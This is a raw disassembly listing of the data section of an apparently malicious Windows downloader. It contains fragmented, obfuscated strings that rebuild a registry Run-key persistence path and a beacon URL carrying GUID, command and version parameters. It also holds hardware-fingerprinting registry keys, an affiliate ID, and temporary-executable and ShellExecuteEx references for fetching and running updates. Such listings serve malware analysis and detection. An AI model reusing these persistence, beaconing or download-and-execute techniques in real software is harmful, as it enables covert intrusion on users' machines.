aKeyvalue db 'keyvalue',0 ; DATA XREF: sub_403488:loc_403A68o
align 10h
aKey db 'key',0 ; DATA XREF: sub_403488:loc_4039FDo
aRootkey db 'rootkey',0 ; DATA XREF: sub_403488+508o
aDownload db 'download',0 ; DATA XREF: sub_403488:loc_403864o
; sub_404484+5Fo
align 4
aWrNextupdate db 'WR\nextupdate',0 ; DATA XREF: sub_403488+3A6o
align 4
aNextupdate db 'nextupdate',0 ; DATA XREF: sub_403488:loc_403753o
align 4
aWrP db 'WR\p',0 ; DATA XREF: sub_403488+282o
align 4
aPaid db 'paid',0 ; DATA XREF: sub_403488:loc_403632o
align 4
aWrConfigversio db 'WR\configversion',0 ; DATA XREF: sub_403488+161o
align 4
aConfigversio_0 db 'configversion',0 ; DATA XREF: sub_403488+84o
align 4
aS db '%s',0 ; DATA XREF: sub_403488+6Eo
; sub_403488+4EAo ...
align 4
aParsexml db 'ParseXML()',0Ah,0 ; DATA XREF: sub_403488+2Fo
dword_417238 dd 2933BF80h, 11D27B36h, 0C0000EB2h, 603E984Fh ; sub_4043E6+19o ...
dword_417248 dd 3Ah dword_41724C dd 765C5257h, 69737265h, 6E6Fh ; sub_404605+320o ...
dword_417258 dd 706D742Eh, 0 dword_417260 dd 6C6F2320h, 3A64haDefaultvalue db 'defaultvalue',0 ; DATA XREF: sub_405150+88o
; sub_405E1F+214o
align 4
asc_417278: ; DATA XREF: sub_404B40+47Ao
unicode 0, <}>,0
a000001 db '000001',0 ; DATA XREF: sub_404B40+421o
align 4
a0a887397a5f240 db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FA4DA76476'
; DATA XREF: sub_404B40+317o
db 'DE96109318D40A797',0
align 4
a000000 db '-0000-00',0 ; DATA XREF: sub_404B40+309o
align 4
aHardwareDesc_0 db 'HARDWARE\DESCRIPTION\System\SystemBiosDate',0
; DATA XREF: sub_404B40+216o
align 10h
asc_417310: ; DATA XREF: sub_404B40+1A6o
unicode 0, <->,0
aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz',0
; DATA XREF: sub_404B40+164o
a08x db '%08X',0 ; DATA XREF: sub_404B40+120o
align 10h
asc_417350: ; DATA XREF: sub_404B40+CAo
unicode 0, <{>,0
a04x db '%04X',0 ; DATA XREF: sub_404B40+A1o
; sub_404B40+18Eo
align 4
asc_41735C: ; DATA XREF: sub_405150+F8o
unicode 0, < >,0
aNner1 db 'nner1',0 ; DATA XREF: sub_405150+6Eo
align 4
aUnRu db 'un\ru',0 ; DATA XREF: sub_405150+5Do
align 10h
aTversionR db 'tVersion\R',0 ; DATA XREF: sub_405150+4Co
align 4
aFtWindowsCurre db 'ft\Windows\Curren',0 ; DATA XREF: sub_405150+3Bo
align 10h
aSoftwareMicros db 'SOFTWARE\Microso',0 ; DATA XREF: sub_405150+20o
align 4
aGversion db 'gversion',0 ; DATA XREF: sub_405327+5Ao
align 10h
aConfi db 'confi',0 ; DATA XREF: sub_405327+49o
align 4
aWr db 'WR',0 ; DATA XREF: sub_405327+21o
; sub_40543F+1Bo ...
align 4
aDate db 'date',0 ; DATA XREF: sub_40543F+64o
align 4
aTup db 'tup',0 ; DATA XREF: sub_40543F+54o
aNex db 'nex',0 ; DATA XREF: sub_40543F+44o
aP_0: ; DATA XREF: sub_40558C+49o
unicode 0, <p>,0
aI: ; DATA XREF: sub_405693+5Ao
; sub_4057AB+57o
unicode 0, <i>,0
aR: ; DATA XREF: sub_405693+38o
; sub_4057AB+35o ...
unicode 0, <R>,0
aW: ; DATA XREF: sub_405693+21o
; sub_4057AB+1Ao ...
unicode 0, <W>,0
asc_4173DC: ; DATA XREF: sub_4057AB+E4o
unicode 0, <,>,0
aCmd db 'cmd',0 ; DATA XREF: sub_40592B+57o
aMd db 'md',0 ; DATA XREF: sub_405A64+6Bo
align 4
aC: ; DATA XREF: sub_405A64+5Ao
unicode 0, <c>,0
aAffid db 'affID',0 ; DATA XREF: sub_405B91+1E7o
align 4
aVersion_1 db '\version',0 ; DATA XREF: sub_405E1F+264o
align 10h
a11866787a5f240 db '11866787A5F240675EE6610530A652BC94C74E756BC56C0935BA7D9087C160476'
; DATA XREF: sub_405E1F+228o
db 'CDF5E0330BA48BC9CEF42506DCC7A072F8F48BF97C0564B70',0
align 4
a_exe_tmp db '.exe.tmp',0 ; DATA XREF: sub_405E1F+134o
align 10h
aInu db 'inu',0 ; DATA XREF: sub_405E1F+129o
aOf db 'of',0 ; DATA XREF: sub_405E1F+115o
align 4
aMr db 'mr',0 ; DATA XREF: sub_405E1F+104o
align 4
aE: ; DATA XREF: sub_405E1F+DDo
unicode 0, <e>,0
a_ex db '.ex',0 ; DATA XREF: sub_405E1F+B5o
aFinu db 'finu',0 ; DATA XREF: sub_405E1F+A1o
align 4
aRo db 'ro',0 ; DATA XREF: sub_405E1F+90o
align 10h
aM db '\m',0 ; DATA XREF: sub_405E1F+64o
align 4
aSei db 'sei ',0Ah,0 ; DATA XREF: sub_406208+49o
align 4
aShellexecuteex db 'ShellExecuteEx',0 ; DATA XREF: sub_406208+27o
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_406208+15o
asc_4174C8: ; DATA XREF: sub_406374+60o
unicode 0, <\>,0
asc_4174CC: ; DATA XREF: sub_406374+ACo
unicode 0, <\>,0
asc_4174D0: ; DATA XREF: sub_406374+107o
unicode 0, <\>,0
asc_4174D4: ; DATA XREF: sub_406374+117o
unicode 0, <\>,0
asc_4174D8: ; DATA XREF: sub_40671B+8Ao
unicode 0, <\>,0
asc_4174DC: ; DATA XREF: sub_40671B+D6o
unicode 0, <\>,0
asc_4174E0: ; DATA XREF: sub_40671B+131o
unicode 0, <\>,0
asc_4174E4: ; DATA XREF: sub_40671B+141o
unicode 0, <\>,0
asc_4174E8: ; DATA XREF: HSho:00406DD4o
unicode 0, <\>,0
asc_4174EC: ; DATA XREF: HSho:00406E20o
unicode 0, <\>,0
asc_4174F0: ; DATA XREF: HSho:00406E7Bo
unicode 0, <\>,0
asc_4174F4: ; DATA XREF: HSho:00406E8Bo
unicode 0, <\>,0
asc_4174F8: ; DATA XREF: HSho:004072F7o
unicode 0, <\>,0
asc_4174FC: ; DATA XREF: HSho:00407343o
unicode 0, <\>,0
asc_417500: ; DATA XREF: HSho:0040739Eo
unicode 0, <\>,0
asc_417504: ; DATA XREF: HSho:004073AEo
unicode 0, <\>,0
aD_0 db '%d',0 ; DATA XREF: sub_40831F+7Co
align 4
asc_41750C db '&x=',0 ; DATA XREF: sub_40831F+92o
aI_0 db '&i=',0 ; DATA XREF: sub_40831F+C9o
aP_1 db '&p=',0 ; DATA XREF: sub_40831F+100o
aCmd_0 db '&cmd=',0 ; DATA XREF: sub_40831F+10Ao
align 10h
aGuid db '&GUID=',0 ; DATA XREF: sub_40831F+161o
align 4
aConfigversion db '&configversion=',0 ; DATA XREF: sub_40831F+198o
aVersion db '&version=',0 ; DATA XREF: sub_40831F+1A7o
align 4
aHtt db 'htt',0 ; DATA XREF: sub_40831F+4CFo
aP db 'p://',0 ; DATA XREF: sub_40831F+4E9o
align 10h
aWr_mc db 'wr.mc',0 ; DATA XREF: sub_40831F+503o
align 4
aBoo_co db 'boo.co',0 ; DATA XREF: sub_40831F+51Do
align 10h
aMReta db 'm/reta',0 ; DATA XREF: sub_40831F+537o
align 4
aDpu_php? db 'dpu.php?',0 ; DATA XREF: sub_40831F+551o
align 4
aOld db 'old',0 ; DATA XREF: sub_408D9F+3C1o
dword_417578 dd 2933BF81h, 11D27B36h, 0C0000EB2h, 603E984Fh ; sub_409AF0+4Ao ...
dword_417588 dd 2 dup(0) dd 0C0h, 46000000h
aNeedDictiona_0 db 'need dictionary',0 ; DATA XREF: HSho:off_4132D0o
aStreamEnd db 'stream end',0 ; DATA XREF: HSho:004132D4o
align 4
aFileError db 'file error',0 ; DATA XREF: HSho:004132DCo
align 10h
aStreamError db 'stream error',0 ; DATA XREF: HSho:004132E0o
align 10h
aDataError db 'data error',0 ; DATA XREF: HSho:004132E4o
align 4
aInsufficientMe db 'insufficient memory',0 ; DATA XREF: HSho:004132E8o
aBufferError db 'buffer error',0 ; DATA XREF: HSho:004132ECo
align 10h
aIncompatibleVe db 'incompatible version',0 ; DATA XREF: HSho:004132F0o
align 4
aInvalidLiteral db 'invalid literal/length code',0 ; DATA XREF: sub_40A04E+342o
aInvalidDistanc db 'invalid distance code',0 ; DATA XREF: sub_40A04E+60Eo
align 4
aInvalidBlockTy db 'invalid block type',0 ; DATA XREF: sub_40AF6D+29Bo
align 10h
aInvalidStoredB db 'invalid stored block lengths',0 ; DATA XREF: sub_40AF6D+3D8o
align 10h
aTooManyLengthO db 'too many length or distance symbols',0 ; DATA XREF: sub_40AF6D+7D2o
aInvalidBitLeng db 'invalid bit length repeat',0 ; DATA XREF: sub_40AF6D+DE1o
align 10h
aOversubscribed db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_40CBFE+65o
aIncompleteDyna db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_40CBFE+7Fo
aOversubscrib_0 db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_40CCA6+84o
align 10h
aIncompleteLite db 'incomplete literal/length tree',0 ; DATA XREF: sub_40CCA6+96o
align 10h
aOversubscrib_1 db 'oversubscribed distance tree',0 ; DATA XREF: sub_40CCA6+119o
align 10h
aIncompleteDist db 'incomplete distance tree',0 ; DATA XREF: sub_40CCA6+12Bo
align 4
aEmptyDistanceT db 'empty distance tree with lengths',0 ; DATA XREF: sub_40CCA6+144o
align 10h
aInvalidDista_0 db 'invalid distance code',0 ; DATA XREF: sub_40CE56+3A8o
align 4
aInvalidLiter_0 db 'invalid literal/length code',0 ; DATA XREF: sub_40CE56+586o
a1_1_3 db '1.1.3',0 ; DATA XREF: HSho:0040D98Ao
align 4
a1_1_3_0 db '1.1.3',0 ; DATA XREF: sub_40DAB5+6o
align 4
byte_4177F4 db 31h ; DATA XREF: sub_40DAB5+20r
db 2Eh, 31h, 2Eh
dd 33h
aUnknownCompres db 'unknown compression method',0 ; DATA XREF: sub_40DC35+D1o
align 4
aInvalidWindowS db 'invalid window size',0 ; DATA XREF: sub_40DC35+113o
aIncorrectHeade db 'incorrect header check',0 ; DATA XREF: sub_40DC35+1B1o
align 4
aNeedDictionary db 'need dictionary',0 ; DATA XREF: sub_40DC35+3C3o
aIncorrectDataC db 'incorrect data check',0 ; DATA XREF: sub_40DC35+64Co
align 4
asc_41786C: ; DATA XREF: sub_40FE9E+39o
unicode 0, <\>,0
aUt db 'UT',0 ; DATA XREF: sub_40FF4C+4ACo
align 4
a__ db '../',0 ; DATA XREF: sub_4107B2+32Do
a___0 db '..\',0 ; DATA XREF: sub_4107B2+349o
aUnknownZipResu db 'unknown zip result code',0 ; DATA XREF: HSho:loc_410D29o
aSuccess db 'Success',0 ; DATA XREF: HSho:loc_410EAFo
aCuldnTDuplicat db 'Culdn',27h,'t duplicate handle',0 ; DATA XREF: HSho:loc_410EBBo
align 4
aCouldnTCreateO db 'Couldn',27h,'t create/open file',0 ; DATA XREF: HSho:loc_410EC7o
align 4
aFailedToAlloca db 'Failed to allocate memory',0 ; DATA XREF: HSho:loc_410ED3o
align 10h
aErrorWritingTo db 'Error writing to file',0 ; DATA XREF: HSho:loc_410EDFo
align 4
aFileNotFoundIn db 'File not found in the zipfile',0 ; DATA XREF: HSho:loc_410EEBo
align 4
aStillMoreDataT db 'Still more data to unzip',0 ; DATA XREF: HSho:loc_410EF7o
align 4
aZipfileIsCorru db 'Zipfile is corrupt or not a zipfile',0 ; DATA XREF: HSho:loc_410F00o
aErrorReadingFi db 'Error reading file',0 ; DATA XREF: HSho:loc_410F09o
align 4
aCallerFaultyAr db 'Caller: faulty arguments',0 ; DATA XREF: HSho:loc_410F12o
align 4
aCallerTheFileH db 'Caller: the file had already been partially unzipped',0
; DATA XREF: HSho:loc_410F1Bo
align 10h
aCallerCanOnlyG db 'Caller: can only get memory of a memory zipfile',0
; DATA XREF: HSho:loc_410F24o
aCallerNotEnoug db 'Caller: not enough space allocated for memory zipfile',0
; DATA XREF: HSho:loc_410F2Do
align 4
aCallerThereWas db 'Caller: there was a previous error',0 ; DATA XREF: HSho:loc_410F36o
align 4
aCallerAddition db 'Caller: additions to the zip have already been ended',0
; DATA XREF: HSho:loc_410F3Fo
align 4
aCallerMixingCr db 'Caller: mixing creation and opening of zip',0
; DATA XREF: HSho:loc_410F48o
align 10h
aZipBugInternal db 'Zip-bug: internal initialisation not completed',0
; DATA XREF: HSho:loc_410F51o
align 10h
aZipBugTryingTo db 'Zip-bug: trying to seek the unseekable',0 ; DATA XREF: HSho:loc_410F5Ao
align 4
aZipBugTheAntic db 'Zip-bug: the anticipated size turned out wrong',0
; DATA XREF: HSho:loc_410F63o
align 4
aZipBugTriedToC db 'Zip-bug: tried to change mind, but not allowed',0
; DATA XREF: HSho:loc_410F6Co
align 4
aZipBugAnIntern db 'Zip-bug: an internal error during flation',0
; DATA XREF: HSho:loc_410F75o
align 10h
off_417BB0 dd offset off_414AD4 ; DATA XREF: HSho:off_414AF0o
; HSho:00414B2Co
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
dword_417BD0 dd 1 align 8
dword_417BD8 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_417BE8 dd offset off_414AD4 ; DATA XREF: HSho:off_414B38o
; HSho:00414B74o ...
align 10h
a_?av_com_error db '.?AV_com_error@@',0
align 8
a97 db '97',0 ; DATA XREF: sub_401ACF+24o
; sub_401ACF+64o ...
align 4
dd 7FFh dup(0)
byte_419C08 db 0 ; DATA XREF: HSho:00401B9Ar
align 4
byte_419C0C db 0 ; DATA XREF: HSho:00401BB5r
align 10h
byte_419C10 db 0 ; DATA XREF: sub_401C92+25r
align 4
byte_419C14 db 0 ; DATA XREF: sub_401D8A+Ar
align 4
byte_419C18 db 0 ; DATA XREF: sub_401D8A+25r
align 4
byte_419C1C db 0 ; DATA XREF: HSho:00401E90r
align 10h
byte_419C20 db 0 ; DATA XREF: HSho:00401EABr
align 4
byte_419C24 db 0 ; DATA XREF: HSho:00401F65r
align 4
byte_419C28 db 0 ; DATA XREF: HSho:loc_401FCBr
align 4
byte_419C2C db 0 ; DATA XREF: HSho:00402050r
align 10h
byte_419C30 db 0 ; DATA XREF: HSho:0040206Br
align 4
byte_419C34 db 0 ; DATA XREF: HSho:loc_402104r
align 4
byte_419C38 db 0 ; DATA XREF: sub_402296+Ar
align 4
dword_419C3C dd 0 byte_419C40 db 0 ; DATA XREF: sub_402FAF+1Br
; sub_402FAF:loc_4030A8o ...
align 4
word_419C44 dw 0 ; DATA XREF: sub_404B40+2Er
; sub_404B40+2FAo ...
align 4
dword_419C48 dd 0 dword_419C4C dd 0 dword_419C50 dd 0 dword_419C54 dd 0 dword_419C58 dd 0 dword_419C5C dd 0 dword_419C60 dd 0 dword_419C64 dd 0 dword_419C68 dd 0 dword_419C6C dd 0 dword_419C70 dd 0 dword_419C74 dd 0 dword_419C78 dd 0 dword_419C7C dd 0 dword_419C80 dd 0 dword_419C84 dd 0 dword_419C88 dd 0 dword_419C8C dd 0 dword_419C90 dd 0 ; sub_408310+3o ...
aJSJSJSJS db 'ssss',0
align 4
aJSJS db 'ss',0
align 4
dd 345000h, 345050h, 73EA86D4h, 801h dup(0)
dd offset off_4132CC
align 10h
dword_41BCD0 dd 0 ; sub_408D9F+41o ...
dword_41BCD4 dd 0 ; sub_410FDB+73w ...
dword_41BCD8 dd 0 dword_41BCDC dd 3 dup(0) dword_41BCE8 dd 0 dword_41BCEC dd 0 dword_41BCF0 dd 0 dword_41BCF4 dd 0 dword_41BCF8 dd 4 dup(0) dword_41BD08 dd 0 dword_41BD0C dd 0FFFFFFFFh ; HSho:004116BEw
dword_41BD10 dd 0FFFFFFFFh ; sub_411646+1Ao ...
dd 4BBh dup(0)
dd 140h, 12018h, 65724301h, 46657461h, 41656C69h, 65520100h
dd 69466461h, 100656Ch, 736F6C43h, 6E614865h, 656C64h
dd 74654701h, 656C6946h, 657A6953h, 65470100h, 73614C74h
dd 72724574h, 100726Fh
aGetcurrentdire db 'GetCurrentDirectoryA',0
db 1, 43h, 72h
aEatedirectorya db 'eateDirectoryA',0
db 1
aRemovedirector db 'RemoveDirectoryA',0
db 1, 53h, 65h
aTfileattribute db 'tFileAttributesA',0
db 1, 47h, 65h
aTfileattribu_0 db 'tFileAttributesA',0
db 1, 55h, 6Eh
aMapviewoffile db 'mapViewOfFile',0
dw 4601h
aIndfirstfilea db 'indFirstFileA',0
dw 5301h
aEtcurrentdirec db 'etCurrentDirectoryA',0
db 1
aGlobalfree db 'GlobalFree',0
db 1
aWritefile db 'WriteFile',0
db 1
aFreelibrary db 'FreeLibrary',0
db 1
aGlobalrealloc db 'GlobalReAlloc',0
db 1
aGlobalalloc db 'GlobalAlloc',0
db 1
aGetprocaddress db 'GetProcAddress',0
db 1
aWidechartomult db 'WideCharToMultiByte',0
db 1, 4Dh, 75h
aLtibytetowidec db 'ltiByteToWideChar',0
dw 4D01h
aApviewoffile db 'apViewOfFile',0
db 1, 43h, 72h
aEatefilemappin db 'eateFileMappingA',0
db 1, 6Ch, 73h
aTrcata db 'trcatA',0
db 1
aSetlasterror db 'SetLastError',0
db 1, 46h, 69h
aNdclose db 'ndClose',0
dd 6E694601h, 78654E64h, 6C694674h, 1004165h, 53746547h
dd 74726174h, 6E497075h, 416F66h, 74654701h, 75646F4Dh
dd 6148656Ch, 656C646Eh, 53010041h, 69467465h, 6954656Ch
dd 100656Dh
aDosdatetimetof db 'DosDateTimeToFileTime',0
dw 5301h
aYstemtimetofil db 'ystemTimeToFileTime',0
db 1
aGetcurrentproc db 'GetCurrentProcess',0
db 1
aDuplicatehandl db 'DuplicateHandle',0
db 1
aGetfiletype db 'GetFileType',0
db 1, 53h, 65h
aTfilepointer db 'tFilePointer',0
db 1, 4Ch, 6Fh
aCalfree db 'calFree',0
db 1
aInterlockedinc db 'InterlockedIncrement',0
dw 4301h
aReatemutexa db 'reateMutexA',0
db 1
aGetvolumeinfor db 'GetVolumeInformationA',0
db 1
aGetsystemdefau db 'GetSystemDefaultLCID',0
db 1, 6Ch, 73h
aTrlena db 'trlenA',0
db 1
aGetlocaleinfoa db 'GetLocaleInfoA',0
db 1
aInterlockeddec db 'InterlockedDecrement',0
db 1, 6Ch, 73h
aTrcpyna db 'trcpynA',0
db 1
aLstrcpya db 'lstrcpyA',0
dw 5701h
aAitforsingleob db 'aitForSingleObject',0
db 1
aGetwindowsdire db 'GetWindowsDirectoryA',0
db 1, 47h, 65h
aTmodulefilenam db 'tModuleFileNameA',0
db 1, 4Ch, 6Fh
aAdlibrarya db 'adLibraryA',0
db 1
aSleep db 'Sleep',0
dw 4D00h
dd 1, 1000120h, 43676552h, 65736F6Ch, 79654Bh, 67655201h
dd 6E65704Fh, 4579654Bh, 1004178h, 53676552h, 61567465h
dd 4565756Ch, 1004178h, 43676552h, 74616572h, 79654B65h
dd 417845h, 67655201h, 72657551h, 6C615679h, 78456575h
dd 5A000041h, 0E8000001h, 0FF000120h, 12FF1B10h, 164EFF1Bh
dd 0FF03ABFFh, 0ADFF039Eh, 0B63FF03h, 0FF0339FFh, 33FF15C4h
dd 1021FF16h, 0FF039CFFh, 1CFF039Ah, 35AFF02h, 0FF0320FFh
dd 17FF035Ch, 959FF02h, 0FF0219FFh, 64000337h, 40000001h
dd 1000121h
a?is_open@ifstr db '?is_open@ifstream@@QBEHXZ',0
dw 3F01h
aRead@istream@@ db 'read@istream@@QAEAAV1@PADH@Z',0
db 1, 3Fh, 67h
aCount@istream@ db 'count@istream@@QBEHXZ',0
dw 3F01h
aClose@ifstream db 'close@ifstream@@QAEXXZ',0
db 1
a??_difstream@@ db '??_Difstream@@QAEXXZ',0
db 1, 3Fh, 6Fh
aPen@ifstream@@ db 'pen@ifstream@@QAEXPBDHH@Z',0
dw 3F01h
aSh_read@filebu db 'sh_read@filebuf@@2HB',0
db 1, 2 dup(3Fh)
a0ifstream@@qae db '0ifstream@@QAE@XZ',0
dw 3F01h
aFail@ios@@qbeh db 'fail@ios@@QBEHXZ',0
align 2
dw 170h
dd 21680000h, 3F010001h, 243F313Fh, 69736162h, 74735F63h
dd 676E6972h, 3F554440h, 61686324h, 72745F72h, 73746961h
dd 73404440h, 40406474h, 61243F56h, 636F6C6Ch, 726F7461h
dd 32404440h, 74734040h, 51404064h, 58404541h, 3F01005Ah
dd 243F303Fh, 69736162h, 74735F63h, 676E6972h, 3F554440h
dd 61686324h, 72745F72h, 73746961h, 73404440h, 40406474h
dd 61243F56h, 636F6C6Ch, 726F7461h, 32404440h, 74734040h
dd 51404064h, 41404541h, 243F5642h, 6F6C6C61h, 6F746163h
dd 40444072h, 5A404031h, 733F0100h, 74736275h, 243F4072h
dd 69736162h, 74735F63h, 676E6972h, 3F554440h, 61686324h
dd 72745F72h, 73746961h, 73404440h, 40406474h, 61243F56h
dd 636F6C6Ch, 726F7461h, 32404440h, 74734040h, 51404064h
dd 413F4542h, 40323156h, 5A404949h, 663F0100h, 5F646E69h
dd 7473616Ch, 40666F5Fh, 6162243Fh, 5F636973h, 69727473h
dd 4440676Eh, 63243F55h, 5F726168h, 69617274h, 44407374h
dd 64747340h, 3F564040h, 6C6C6124h, 7461636Fh, 4440726Fh
dd 40403240h, 40647473h, 45425140h, 40494449h, 3F01005Ah
dd 736F706Eh, 62243F40h, 63697361h, 7274735Fh, 40676E69h
dd 243F5544h, 72616863h, 6172745Fh, 40737469h, 74734044h
dd 56404064h, 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h
dd 64747340h, 49324040h, 3F010042h, 243F343Fh, 69736162h
dd 74735F63h, 676E6972h, 3F554440h, 61686324h, 72745F72h
dd 73746961h, 73404440h, 40406474h, 61243F56h, 636F6C6Ch
dd 726F7461h, 32404440h, 74734040h, 51404064h, 41414541h
dd 40313056h, 30564241h, 5A404031h, 3F3F0100h, 62243F30h
dd 63697361h, 7274735Fh, 40676E69h, 243F5544h, 72616863h
dd 6172745Fh, 40737469h, 74734044h, 56404064h, 6C61243Fh
dd 61636F6Ch, 40726F74h, 40324044h, 64747340h, 41514040h
dd 42414045h, 40313056h, 1005A40h, 7373613Fh, 406E6769h
dd 6162243Fh, 5F636973h, 69727473h, 4440676Eh, 63243F55h
dd 5F726168h, 69617274h, 44407374h, 64747340h, 3F564040h
dd 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h, 40647473h
dd 45415140h, 31564141h, 42504032h, 5A4044h, 5F633F01h
dd 40727473h, 6162243Fh, 5F636973h, 69727473h, 4440676Eh
dd 63243F55h, 5F726168h, 69617274h, 44407374h, 64747340h
dd 3F564040h, 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h
dd 40647473h, 45425140h, 58444250h, 3F01005Ah, 657A6973h
dd 62243F40h, 63697361h, 7274735Fh, 40676E69h, 243F5544h
dd 72616863h, 6172745Fh, 40737469h, 74734044h, 56404064h
dd 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h, 64747340h
dd 42514040h, 5A584945h, 3F3F0100h, 64747338h, 41594040h
dd 42414E5Fh, 62243F56h, 63697361h, 7274735Fh, 40676E69h
dd 243F5544h, 72616863h, 6172745Fh, 40737469h, 74734044h
dd 56404064h, 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h
dd 30403040h, 1005A40h, 3F343F3Fh, 73616224h, 735F6369h
dd 6E697274h, 55444067h, 6863243Fh, 745F7261h, 74696172h
dd 40444073h, 40647473h, 243F5640h, 6F6C6C61h, 6F746163h
dd 40444072h, 73404032h, 40406474h, 41454151h, 31305641h
dd 44425040h, 5A40h, 17Ch, 1219Ch, 72747301h, 7970636Eh
dd 74610100h, 1006C6Fh, 656D6974h, 74610100h, 100696Fh
dd 7274735Fh, 6D63696Eh, 5F010070h, 64727473h, 1007075h
dd 73626D5Fh, 727075h, 72747301h, 746163h, 48455F01h, 6F72705Fh
dd 676F6Ch, 6D656D01h, 797063h, 706F6601h, 1006E65h, 6C6C616Dh
dd 100636Fh, 73727473h, 1007274h, 6F6C6366h, 1006573h
dd 65657266h, 74660100h, 6C6C65h, 435F5F01h, 72467878h
dd 48656D61h, 6C646E61h, 1007265h, 7878435Fh, 6F726854h
dd 63784577h, 69747065h, 1006E6Fh, 69727073h, 66746Eh
dd 73637701h, 6E656Ch, 626D5F01h, 706D6373h, 73660100h
dd 6B6565h, 756F7401h, 72657070h, 74730100h, 6E656C72h
dd 74730100h, 79706372h, 6D5F0100h, 626E7362h, 797063h
dd 6D656D01h, 746573h, 6C616301h, 636F6Ch, 72747301h, 706D63h
dd 746D6701h, 656D69h, 626D5F01h, 72747373h, 3F3F0100h
dd 70797431h, 6E695F65h, 40406F66h, 40454155h, 1005A58h
dd 6C645F5Fh, 656E6F6Ch, 746978h, 6E6F5F01h, 74697865h
dd 655F0100h, 746978h, 63585F01h, 69467470h, 7265746Ch
dd 78650100h, 1007469h, 65675F5Fh, 69616D74h, 6772616Eh
dd 5F010073h, 646D6361h, 1006E6Ch, 696E695Fh, 72657474h
dd 5F01006Dh, 7465735Fh, 72657375h, 6874616Dh, 727265h
dd 64615F01h, 7473756Ah, 6964665Fh, 5F010076h, 5F5F705Fh
dd 6D6D6F63h, 65646Fh, 705F5F01h, 6D665F5Fh, 65646Fh, 735F5F01h
dd 615F7465h, 745F7070h, 657079h, 78655F01h, 74706563h
dd 6E61685Fh, 72656C64h, 66010033h, 64616572h, 635F0100h
dd 72746E6Fh, 70666C6Fh, 1870000h, 22A40000h, 43010001h
dd 696E556Fh, 6974696Eh, 7A696C61h, 4F010065h, 7552656Ch
dd 4301006Eh, 6572436Fh, 49657461h, 6174736Eh, 65636Eh
dd 496F4301h, 6974696Eh, 7A696C61h, 91000065h, 60000001h
dd 0FF000122h, 9FF000Ch, 8FF00h, 0FF0095FFh, 6FF0096h
dd 7FF00h, 0FF00C8FFh, 9E000002h, 88000001h, 1000122h
dd 69464853h, 704F656Ch, 74617265h, 416E6F69h, 1AA0000h
dd 22900000h, 43010001h, 5279706Fh, 746365h, 75714501h
dd 65526C61h, 1007463h, 72616843h, 65707055h, 1004172h
dd 72707377h, 66746E69h, 41h, 50000000h, 4C000045h, 8C000401h
dd 47F272h, 0
dd 0E0000000h, 0B010F00h, 601h, 120h, 0A0h, 8A000000h
dd 116h, 10h, 130h, 4000h, 10h, 4000010h, 0
dd 4000000h, 2 dup(0)
dd 1D0h, 10h, 2000000h, 0
dd 1000h, 10h, 1000h, 10h, 10000000h, 2 dup(0)
dd 20000000h, 0DC00015Eh, 0
dd 280001C0h, 3, 12h dup(0)
dd 0B8000130h, 2, 5 dup(0)
dd 2E000000h, 74786574h, 0A5000000h, 117h, 10h, 120h, 10h
dd 2 dup(0)
dd 20000000h, 2E600000h, 74616472h, 86000061h, 3Dh, 130h
dd 40h, 130h, 2 dup(0)
dd 40000000h, 2E400000h, 61746164h, 14000000h, 4Dh, 170h
dd 10h, 170h, 2 dup(0)
dd 40000000h, 2EC00000h, 63727372h, 28000000h, 3, 1C0h
dd 10h, 180h, 2 dup(0)
dd 40000000h, 400000h, 0B40001C0h, 161h, 1CB4300h, 0A973F00h
dd 0C05D8723h, 20EFCF46h, 74A9464h, 765D031Ah, 56C6D6DBh
dd 0E477C6Bh, 1B642320h, 6D1A36C9h, 7D3009h, 31B30F17h
dd 61130D66h, 6E735B0Dh, 75856C75h, 0B36943F2h, 6F6D4A20h
dd 0EB9ACB6Bh, 1E116247h, 0CBA5232Fh, 8942B770h, 53626934h
dd 6B5AB917h, 69AA1772h, 0AE8F0382h, 9B5D5B6h, 0AD678D2Fh
dd 6CBE2C20h, 1B66F033h, 653F5B9Eh, 6D4BE015h, 1C4A33D9h
dd 7974206Bh, 565B5B61h, 6F2913E6h, 42B51A65h, 734CB38Ch
dd 0BE9A27BBh, 44B60DACh, 25201379h, 6D797356h, 1765B586h
dd 57736C46h, 3BFA268Bh, 5C4BD6B4h, 75B34BB4h, 819A7362h
dd 0C12C5687h, 0F1347931h, 0C070CF7Bh, 2120732Ah, 4212E7B3h
dd 0CD5AC2B6h, 0B0364B23h, 22FAC858h, 361B1F47h, 0CB8F04B2h
dd 12CA6D1Dh, 651B3F36h, 0C2E0D718h, 2016340Ah, 95215A6Bh
dd 7B2F04B0h, 0D14EE6AFh, 73B4E00h, 46B7075Eh, 326E6B93h
dd 0CD6B9120h, 736BD871h, 333526FAh, 19DB0967h, 1B20EB2Ch
dd 8987437Ah, 93A6AE1Bh, 45996820h, 5A15A323h, 2BCD0763h
dd 8F61A4ABh, 258D2765h, 0F359289Fh, 35455F6h, 5C2F2E2Eh
dd 70399F7Fh, 1E7FDC06h, 637553AFh, 3EDEE5Ah, 1143005Ch
dd 45276E64h, 0E68B37DFh, 0EC638ADAh, 8B002077h, 436C1B5Dh
dd 39631C6Fh, 536F2F19h, 0A2418910h, 0FB462020h, 0A344D623h
dd 6FF9593Fh, 0B42BFD38h, 451B3747h, 0AC9DD5F8h, 42BD869Dh
dd 53332220h, 0ADB5A8ADh, 58664F8Dh, 0C1B58963h, 0B61B6B5Eh
dd 2F531F99h, 0AD1CCDC8h, 0D4C4464Bh, 7D9B4639h, 5A8B950Fh
dd 0B2473425h, 0F8BDB1EFh, 4CC674ADh, 0F6774161h, 0AB7759BAh
dd 43547764h, 0C4E1829Eh, 203A4505h, 2F3AF819h, 67F4C1D9h
dd 0E7AA6D75h, 7B46851Bh, 0FA2D7BAEh, 2940CE64h, 5CD75959h
dd 932DECB8h, 0D0887925h, 0FFB6C0DAh, 21F53764h, 0AED21B6Eh
